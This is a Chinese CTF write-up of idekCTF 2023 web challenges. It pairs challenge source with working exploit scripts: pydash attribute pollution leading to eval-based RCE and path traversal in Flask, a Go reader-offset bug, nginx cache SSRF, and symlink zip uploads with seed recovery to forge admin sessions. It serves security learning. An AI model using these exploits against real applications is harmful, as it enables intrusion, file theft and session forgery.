参考:https://y4tacker.github.io/2023/01/16/year/2023/2023IdekCTFWriteup/#2023-IdekCTF-Writeup
Task-Manager 考点:pydash原型链污染 一个事务管理器: 我觉得这是最好玩的一题了,没想到吧,python也有原型链污染,因此也让我思考起了别的语言会不会也有原型链污染呢?比如Java之类的(java还是不太可能)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from flask import Flask, render_template, request, redirectfrom taskmanager import TaskManagerimport osapp = Flask(__name__) @app.before_first_request def init (): if app.env == 'yolo' : app.add_template_global(eval ) @app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "not found" , 404 return render_template(path) @app.route("/api/manage_tasks" , methods=["POST" ] ) def manage_tasks (): task, status = request.json.get('task' ), request.json.get('status' ) if not task or type (task) != str : return {"message" : "You must provide a task name as a string!" }, 400 if len (task) > 150 : return {"message" : "Tasks may not be over 150 characters long!" }, 400 if status and len (status) > 50 : return {"message" : "Statuses may not be over 50 characters long!" }, 400 if not status: tasks.complete(task) return {"message" : "Task marked complete!" }, 200 if type (status) != str : return {"message" : "Your status must be a string!" }, 400 if tasks.set (task, status): return {"message" : "Task updated!" }, 200 return {"message" : "Invalid task name!" }, 400 @app.route("/api/get_tasks" , methods=["POST" ] ) def get_tasks (): try : task = request.json.get('task' ) return tasks.get(task) except : return tasks.get_all() @app.route('/' ) def index (): return redirect("/home.html" ) tasks = TaskManager() app.run('0.0.0.0' , 6666 )
还有一个taskmanager.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import pydashclass TaskManager : protected = ["set" , "get" , "get_all" , "__init__" , "complete" ] def __init__ (self ): self.set ("capture the flag" , "incomplete" ) def set (self, task, status ): if task in self.protected: return pydash.set_(self, task, status) return True def complete (self, task ): if task in self.protected: return pydash.set_(self, task, False ) return True def get (self, task ): if hasattr (self, task): return {task: getattr (self, task)} return {} def get_all (self ): return self.__dict__
这里出现了一个没咋见过的库,pydash,有没有联想到nodejs里的lodash库,点进去看看: 是不是和原型链污染一模一样,将右边的对象赋值给左边,做一个链式调用,分析一手逻辑,其实很简单,主要逻辑就在创建Task里面,因为在这里会调用pydash的set方法: task和status都是我们可控的变量,还有需要注意的就是init方法: 用@app.before_first_request
标签修饰了,代表在请求处理前,会先调用该方法,这里往模板中的全局变量添加了eval,假如添加进去了,我们就可以直接在模板标识符也就是
中调用eval函数执行命令,但是前提是app.env需要为yoto,也就是我们需要污染该对象 看了我写的python原型链污染的文章就会知道,想污染一个Flask应用,首先就得找到app对象,这里也是直接给出答案:
1 self.__init__.__globals__['__loader__'].__init__.__globals__['sys'].modules['app'].app
一顿操作给他点到app里去,这里的moudles[‘app’]需要注意一下,因为本地pycharm起的可能是app,假如在docker里就是__main__了 因此到了这里也就有2种思路,其中就有非预期,先说预期解吧
预期解 解法一 首先这里面有个jinja_env属性用来控制模板语言的,可以看到其中2个属性很显眼: 也就是我们的模板语言标识符,这里是默认的,假如我们污染了这个是不是就可以使用我们自定义的标识符了 并且在源码中可以渲染任意文件: 那么现在也就是如果可以找到一个python内置文件,里面调用eval,我们就可以执行任意函数方法了,最终是在/usr/local/lib/python3.8/turtle.py
找到了: 假如这里让模板前后标识符分别为
是不是就可以执行里面的eval(value)
了?这里直接放上出题人的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport rebase_url = "http://localhost:1337" hijack_start = """'""']:\n value = """ hijack_end = "\n" payloads = { "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.env" : "yolo" , "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value" : "__import__('os').popen('cat /flag-*.txt').read()" , "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string" : hijack_start, "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string" : hijack_end, "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir" : "ZZZ" , "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._got_first_request" : None , } def overwrite (attr, value ): data = {"task" : attr, "status" : value} requests.post(base_url + "/api/manage_tasks" , json=data) def get_flag (): url = base_url + "/../../usr/local/lib/python3.7/turtle.py" s = requests.Session() r = requests.Request(method='GET' , url=url) prep = r.prepare() prep.url = url r = s.send(prep) flag = re.findall('idek{.*}' , r.text)[0 ] print (flag) for k, v in payloads.items(): overwrite(k, v) get_flag()
先污染env,再污染value,最后污染标识符达到rce!
解法二 来自国外大牛的思路https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager 大致的意思就是在模板编译的时候就污染:
非预期解 观察dockerfile,里面有一个copy . .
意味把dockerfile读进去了,那选手就可以读取dockerfile里的内容了: 然后flag就在Dockerfile里哈哈哈
解法一 在app下有一个属性叫做_static_url_path也就是设置静态资源文件夹和URL的映射的属性,假如我们在这里修改static为/,那么访问/staic/etc/passwd
就可以读取密码实现任意文件读取
1 {"task" :"__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app._static_folder" ,"status" :"/" }
然后访问/staic/Dockerfile
获取flag
解法二 可以看看jinja模板是怎么处理目录穿越的jinja2.loaders.FileSystemLoader.get_source
: 可以看到过滤了这个..
,因此不能目录穿越,那我们只需污染os.path.pardir
即可任意文件读取"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport rebase_url = 'http://127.0.0.1:1337' url = f'{base_url} /api/manage_tasks' exp_url = f'{base_url} /../Dockerfile' requests.post(url, json={"task" : "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir" , "status" : "Boogipop" }) s = requests.Session() r = requests.Request(method='GET' , url=exp_url) p = r.prepare() p.url = exp_url r = s.send(p) flag = re.findall('idek{.*}' , r.text)[0 ] print (flag)
ReadME 考点:GO中有关io的知识,逻辑漏洞 听说是个签到题,我拿来审审看: 其实这里y4大佬也没有讲的十分细腻,可能y4爷认为很简单这东西,但实际上对于没深入学习go的人还是有点难度的,因此我写的详细一点儿
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 package mainimport ( "bufio" "bytes" "context" "crypto/sha256" "encoding/json" "errors" "fmt" "io" "io/ioutil" "math/rand" "net/http" "os" "time" ) var password = sha256.Sum256([]byte ("idek" ))var randomData []byte const ( MaxOrders = 10 ) func initRandomData () { rand.Seed(1337 ) randomData = make ([]byte , 24576 ) if _, err := rand.Read(randomData); err != nil { panic (err) } copy (randomData[12625 :], password[:]) } type ReadOrderReq struct { Orders []int `json:"orders"` } func justReadIt (w http.ResponseWriter, r *http.Request) { defer r.Body.Close() body, err := ioutil.ReadAll(r.Body) if err != nil { w.WriteHeader(500 ) w.Write([]byte ("bad request\n" )) return } reqData := ReadOrderReq{} if err := json.Unmarshal(body, &reqData); err != nil { w.WriteHeader(500 ) w.Write([]byte ("invalid body\n" )) return } if len (reqData.Orders) > MaxOrders { w.WriteHeader(500 ) w.Write([]byte ("whoa there, max 10 orders!\n" )) return } reader := bytes.NewReader(randomData) validator := NewValidator() ctx := context.Background() for _, o := range reqData.Orders { if err := validator.CheckReadOrder(o); err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("error: %v\n" , err))) return } ctx = WithValidatorCtx(ctx, reader, int (o)) _, err := validator.Read(ctx) if err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("failed to read: %v\n" , err))) return } } if err := validator.Validate(ctx); err != nil { w.WriteHeader(500 ) w.Write([]byte (fmt.Sprintf("validation failed: %v\n" , err))) return } w.WriteHeader(200 ) w.Write([]byte (os.Getenv("FLAG" ))) } func main () { if _, exists := os.LookupEnv("LISTEN_ADDR" ); !exists { panic ("env LISTEN_ADDR is required" ) } if _, exists := os.LookupEnv("FLAG" ); !exists { panic ("env FLAG is required" ) } initRandomData() http.HandleFunc("/just-read-it" , justReadIt) srv := http.Server{ Addr: os.Getenv("LISTEN_ADDR" ), ReadTimeout: 5 * time.Second, WriteTimeout: 5 * time.Second, } fmt.Printf("Server listening on %s\n" , os.Getenv("LISTEN_ADDR" )) if err := srv.ListenAndServe(); err != nil { panic (err) } } type Validator struct {}func NewValidator () *Validator { return &Validator{} } func (v *Validator) CheckReadOrder(o int ) error { if o <= 0 || o > 100 { return fmt.Errorf("invalid order %v" , o) } return nil } func (v *Validator) Read(ctx context.Context) ([]byte , error ) { r, s := GetValidatorCtxData(ctx) buf := make ([]byte , s) _, err := r.Read(buf) if err != nil { return nil , fmt.Errorf("read error: %v" , err) } return buf, nil } func (v *Validator) Validate(ctx context.Context) error { r, _ := GetValidatorCtxData(ctx) buf, err := v.Read(WithValidatorCtx(ctx, r, 32 )) if err != nil { return err } if bytes.Compare(buf, password[:]) != 0 { return errors.New("invalid password" ) } return nil } const ( reqValReaderKey = "readerKey" reqValSizeKey = "reqValSize" ) func GetValidatorCtxData (ctx context.Context) (io.Reader, int ) { reader := ctx.Value(reqValReaderKey).(io.Reader) size := ctx.Value(reqValSizeKey).(int ) if size >= 100 { reader = bufio.NewReader(reader) } return reader, size } func WithValidatorCtx (ctx context.Context, r io.Reader, size int ) context.Context { ctx = context.WithValue(ctx, reqValReaderKey, r) ctx = context.WithValue(ctx, reqValSizeKey, size) return ctx }
先选择性装一手Goland为以后打go做铺垫() 审计一下代码,这里差点审哭我了真的,从这一题我深刻的学习了一波GO的read机制,虽然我没咋学过go语言,但是感觉还是可以看懂的,也学到了些新东西QWQ,说一下整体逻辑:
先用copy函数对randomData数组从12625位置开始,往后32个位置进行了覆盖,也就是在[12625-12657]这个区间里,randomData的值就是password的值,这就是go中copy的用法
然后就进入justReadIt函数进行主要逻辑处理,这里初始化了2个东西,reader和validator,其中reader初始化传入的就是randomData,这一点会很重要
遍历请求中Json格式的Orders数组,进行一系列的处理,然后到最后,如果buf的值和password的值相同,那么就返回flag
我们就直接从payload讲,这一题的payload是:{"Orders":[100,100,100,60,60,60,60,60,30,7]}
为什么是这个答案,现在我们就来逆向分析一波,首先下个断点: 直接给在入口函数,然后跟进调试 记住这2个变量,reader和validator,这两个遍历贯彻全文,先对他们两进行初始化,其中reader的初始化传入了randomData变量,这会发生什么呢? 该变量的s属性变为了randomData的值,这个长度为24576的数组就是randomData 然后初始化了validator,这里validator是最后用来判断密码和buf是否相同: 因此继续往下看,随之就进入了我所说的for循环,遍历传入的orders数组: 首先调用一个CheckReadOrede,这个函数就是判断orders数组中的元素值是否超过100: 不能小于0也不能大于100,那么我们怎么样才能达到16252这么大的值呢?继续往下分析: 出现了一个比较重要的ctx,contenxt对象,传入了初始化的reader和int(o),这里的o就是orders里的第一个元素,刚开始遍历,进入WithValidatorCtx
函数看看逻辑: 在这里出现2个变量,都有提前定义好: 这个函数是做什么的呢?实际上是往ctx对象中加入2组键值对,分别是"readerKey"=>reader
、"reqValsize"=>size
,这个size就是上面的100,随之继续往下走: 接着进入validator的read方法: 先调用了GetValidatorCtxData
方法,这个和之前的with是对应的,那个是存入,这个则是取出: 但是注意这里面的判断if size >= 100
,这里我们的size就是100,因此会调用 bufio.NewReader(reader)
,跟进看看 这里返回了一个新的reader,并且指定了新的大小defaultBufSize
,这个值刚好是4096: 这就是我们传100的作用,继续往下走 调用刚刚返回的reader的Read方法,读取buf个单位的字节(默认100),可以进去看看Read的逻辑: 有一些判断,b.r==b.w都是0,但是这里由于返回了一个4096大小的buf,因此len(p)小于buf,因此不进入if里,继续往下走 这里很关键,b.rd通过Read方法将其属性i增加4096个单位,也就是往前读4096个单位,继续走退出循环,然后之后2个100都是同样的流程,直接跳到最后一个100: 此时i变为12288,至此为100的元素读取完毕,开始读取正常元素,首先是5个60,它们的不同点有2个,一个是NewReader
方法只返回60大小而不是4096,,另一个是刚刚说的Read方法里: 进入了一个不同的Read方法,这里的主要注意那个copy方法,会覆盖b也就是我们buf的内容为r.s[r.i:]
,这里r.s就是一开始的randomData,r.i则是上面一直在叠加的读取大小: 因此到了最后一个7的时候,退出了循环,这时r.i就是12625
,紧接着调用Validate方法: 可以看到会进入Read方法对buf进行赋值: 跟进 这时这个16252的作用就来了,因为一开始password就是randomData变量从16252索引往下数32个单位,这里刚好就是这么多数据,也就是完全返回了password,因此输出flag:
Proxy viewer 考点:Nginx缓存和urlopen特性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from flask import Flask, request, render_templatefrom urllib.request import urlopenfrom waitress import servefrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressimport osapp = Flask( __name__, static_url_path='/static' , static_folder='./static' , ) PREMIUM_TOKEN = os.urandom(32 ).hex () limiter = Limiter(app, key_func=get_remote_address) @app.after_request def add_headers (response ): response.cache_control.max_age = 120 return response @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/proxy/<path:path>' ) @limiter.limit("10/minute" ) def proxy (path ): remote_addr = request.headers.get('X-Forwarded-For' ) or request.remote_addr is_authorized = request.headers.get('X-Premium-Token' ) == PREMIUM_TOKEN or remote_addr == "127.0.0.1" try : page = urlopen(path, timeout=.5 ) except : return render_template('proxy.html' , auth=is_authorized) if is_authorized: output = page.read().decode('latin-1' ) else : output = f"<pre>{page.headers.as_string()} </pre>" return render_template('proxy.html' , auth=is_authorized, content=output) @app.route('/premium' ) def premium (): return "we're sorry, but premium membership is not yet available :( please check back soon!" serve(app, host="0.0.0.0" , port=3000 , threads=20 )
可以看到题目给出了一个SSRF的点,假如XFF头为本地那么就进去,是不是直接价格127.0.0.1进去就完事了呢?可以看看nginx的配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 events { worker_connections 1024 ; } http { include mime.types; proxy_cache_path /tmp/nginx keys_zone=my_zone:10m inactive=60m use_temp_path=off ; server { listen 1337 ; client_max_body_size 64M ; location / { proxy_set_header Host $http_host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; proxy_pass http://localhost:3000; } location ^~ /static/ { proxy_pass http://localhost:3000; proxy_set_header Host $http_host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; proxy_cache my_zone; add_header X-Proxy-Cache $upstream_cache_status ; } } }
可以看到他会在/
后面的路由都加上一个XFF头,内容是$proxy_add_x_forwarded_for
,这是啥意思呢? 他会在我们自定义的xff头后面再追加一个真实ip,因此无法伪造,也就无法利用这一点进行SSRF,但是nginx配置中有一点^~ /static/
,他会对/static
路由下的请求进行缓存,然后我还要介绍python中urlopen的一个trick
1 2 3 4 5 6 7 8 9 10 11 12 13 @full_url.setter def full_url (self, url ): self._full_url = unwrap(url) self._full_url, self.fragment = _splittag(self._full_url) self._parse() def _splittag (url ): """splittag('/path#tag') --> '/path', 'tag'.""" path, delim, tag = url.rpartition('#' ) if delim: return path, tag return url, None
urlib会自动去除你请求的#,但是这个对urllib的版本有要求,比如我py3.7中默认的urllib就不长这样子,具体能不能行另说,知道这个trick就好 因此我们可以先输入http://localhost:5000/proxy/http://localhost:5000/proxy/file:///flag%2523/../../../static/a
输入过后python的urllib会解析为http://localhost:5000/proxy/file:///flag
,这里相当于套了个娃,然后第二层里面又解析为file:///flag
,在第二层nginx会解析为:http://localhost:1337/staic/a
,因此缓存/proxy/file:///flag%23/../../../static/a
这个路由,我们只要再次访问该路由即可获得flag
SimpleFileServer 考点:symlink软连接hook任意文件读取,flask session伪造 这里其实涉及一个小tips,那就是软连接ln
,在学linux的时候也学到了这东西,假如我们可以文件上传并且可以读取上传的文件,那么这时候软连接就派上用场了,拿这一题为例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 import loggingimport osimport reimport sqlite3import subprocessimport uuidimport zipfilefrom flask import (Flask, flash, redirect, render_template, request, abort, send_from_directory, session) from werkzeug.security import check_password_hash, generate_password_hashapp = Flask(__name__) DATA_DIR = "/tmp/" app.config['MAX_CONTENT_LENGTH' ] = 2 * 1000 * 1000 LOG_HANDLER = logging.FileHandler(DATA_DIR + 'server.log' ) LOG_HANDLER.setFormatter(logging.Formatter(fmt="[{levelname}] [{asctime}] {message}" , style='{' )) logger = logging.getLogger("application" ) logger.addHandler(LOG_HANDLER) logger.propagate = False for handler in logging.root.handlers[:]: logging.root.removeHandler(handler) logging.basicConfig(level=logging.WARNING, format ='%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s' ) logging.getLogger().addHandler(logging.StreamHandler()) app.config["SECRET_KEY" ] = os.environ["SECRET_KEY" ] @app.route("/" ) def index (): return render_template("index.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): session.clear() if request.method == "GET" : return render_template("login.html" ) username = request.form.get("username" , "" ) password = request.form.get("password" , "" ) with sqlite3.connect(DATA_DIR + "database.db" ) as db: res = db.cursor().execute("SELECT password, admin FROM users WHERE username=?" , (username,)) user = res.fetchone() if not user or not check_password_hash(user[0 ], password): flash("Incorrect username/password" , "danger" ) return render_template("login.html" ) session["uid" ] = username session["admin" ] = user[1 ] return redirect("/upload" ) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): session.clear() if request.method == "GET" : return render_template("register.html" ) username = request.form.get("username" , "" ) password = request.form.get("password" , "" ) if not username or not password or not re.fullmatch("[a-zA-Z0-9_]{1,24}" , username): flash("Invalid username/password" , "danger" ) return render_template("register.html" ) with sqlite3.connect(DATA_DIR + "database.db" ) as db: res = db.cursor().execute("SELECT username FROM users WHERE username=?" , (username,)) if res.fetchone(): flash("That username is already registered" , "danger" ) return render_template("register.html" ) db.cursor().execute("INSERT INTO users (username, password) VALUES (?, ?)" , (username, generate_password_hash(password))) db.commit() session["uid" ] = username session["admin" ] = False return redirect("/upload" ) @app.route("/upload" , methods=["GET" , "POST" ] ) def upload (): if not session.get("uid" ): return redirect("/login" ) if request.method == "GET" : return render_template("upload.html" ) if "file" not in request.files: flash("You didn't upload a file!" , "danger" ) return render_template("upload.html" ) file = request.files["file" ] uuidpath = str (uuid.uuid4()) filename = f"{DATA_DIR} uploadraw/{uuidpath} .zip" file.save(filename) subprocess.call(["unzip" , filename, "-d" , f"{DATA_DIR} uploads/{uuidpath} " ]) flash(f'Your unique ID is <a href="/uploads/{uuidpath} ">{uuidpath} </a>!' , "success" ) logger.info(f"User {session.get('uid' )} uploaded file {uuidpath} " ) return redirect("/upload" ) @app.route("/uploads/<path:path>" ) def uploads (path ): try : return send_from_directory(DATA_DIR + "uploads" , path) except PermissionError: abort(404 ) @app.route("/flag" ) def flag (): if not session.get("admin" ): return "Unauthorized!" return subprocess.run("./flag" , shell=True , stdout=subprocess.PIPE).stdout.decode("utf-8" )
逻辑其实很简单,想办法伪造admin的session,那就要想办法获取SECRET_KEY了,我们看看逻辑:
1 2 3 4 5 6 7 import randomimport osimport timeSECRET_OFFSET = 0 random.seed(round ((time.time() + SECRET_OFFSET) * 1000 )) os.environ["SECRET_KEY" ] = "" .join([hex (random.randint(0 , 15 )) for x in range (32 )]).replace("0x" , "" )
他由2个要点构成:
time.time()
SECRET_OFFSET
只要知道了上面2个要素,就知道了random的seed值,那我们就可以伪造admin session从而获取flag,那现在需要思考的也就是如何如何获取了,首先是time,可以看app文件里,题目好心的在日志里输出了时间: 然后SECRET_KEY放在了config.py文件里,因此现在的思路就很清晰了,直接构造server.log和config.py文件的软连接然后读下来即可: 接下来直接放一下y4爷的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import base64import requests, re, time, datetime, randomimport flask_unsignsess = requests.session() SECRET_OFFSET = -67198624 * 1000 userinfo = {"username" : "yyds" , "password" : "yyds" } baseurl = "http://127.0.0.1:1337/" pocZip = "UEsDBAoAAAAAACJsMVZvT1MBDwAAAA8AAAAKABwAc2VydmVyLmxvZ1VUCQADDzPGYw8zxmN1eAsAAQT1AQAABBQAAAAvdG1wL3NlcnZlci5sb2dQSwMECgAAAAAAG2wxVuPo95IOAAAADgAAAAkAHABjb25maWcucHlVVAkAAwUzxmMFM8ZjdXgLAAEE9QEAAAQUAAAAL2FwcC9jb25maWcucHlQSwECHgMKAAAAAAAibDFWb09TAQ8AAAAPAAAACgAYAAAAAAAAAAAA7aEAAAAAc2VydmVyLmxvZ1VUBQADDzPGY3V4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAABtsMVbj6PeSDgAAAA4AAAAJABgAAAAAAAAAAADtoVMAAABjb25maWcucHlVVAUAAwUzxmN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAIAAgCfAAAApAAAAAAA" cookie = "" log_url = "" def register (): reg_url = baseurl + "register" sess.post(reg_url, userinfo) def login (): global cookie set_cookie = sess.post(baseurl + "login" , data=userinfo, allow_redirects=False ).headers['Set-Cookie' ] cookie = set_cookie[8 :82 ] def upload (): global log_url log_url = re.search('<a href="/uploads/.*">' , sess.post( baseurl + "upload" , headers={'Cookie' : f'session={cookie} ' }, files={'file' : base64.b64decode(pocZip)}).text).group()[9 :-2 ] def read (): server_log = baseurl + log_url + "/server.log" config = baseurl + log_url + "/config.py" SECRET_OFFSET = int (re.findall("SECRET_OFFSET = (.*?) # REDACTED" , sess.get(config).text)[0 ]) * 1000 log = sess.get(server_log).text now = (time.mktime(datetime.datetime.strptime(log.split('\n' )[0 ][1 :20 ], "%Y-%m-%d %H:%M:%S" ).timetuple())) * 1000 return SECRET_OFFSET,now if __name__ == '__main__' : register() login() upload() SECRET_OFFSET, now = read() while 1 : decoded = {'admin' : True , 'uid' : userinfo['username' ]} random.seed(round (now + int (SECRET_OFFSET))) SECRET_KEY = "" .join([hex (random.randint(0 , 15 )) for x in range (32 )]).replace("0x" , "" ) flag_url = baseurl + "flag" res = sess.get(flag_url, headers={'Cookie' : f'session={flask_unsign.sign(decoded, SECRET_KEY)} ' }).text if "idek" not in res: now += 1 print (now) continue print (res) break
Paywall 考点:Filterchain 使用探姬改的脚本就好了(挺好用的)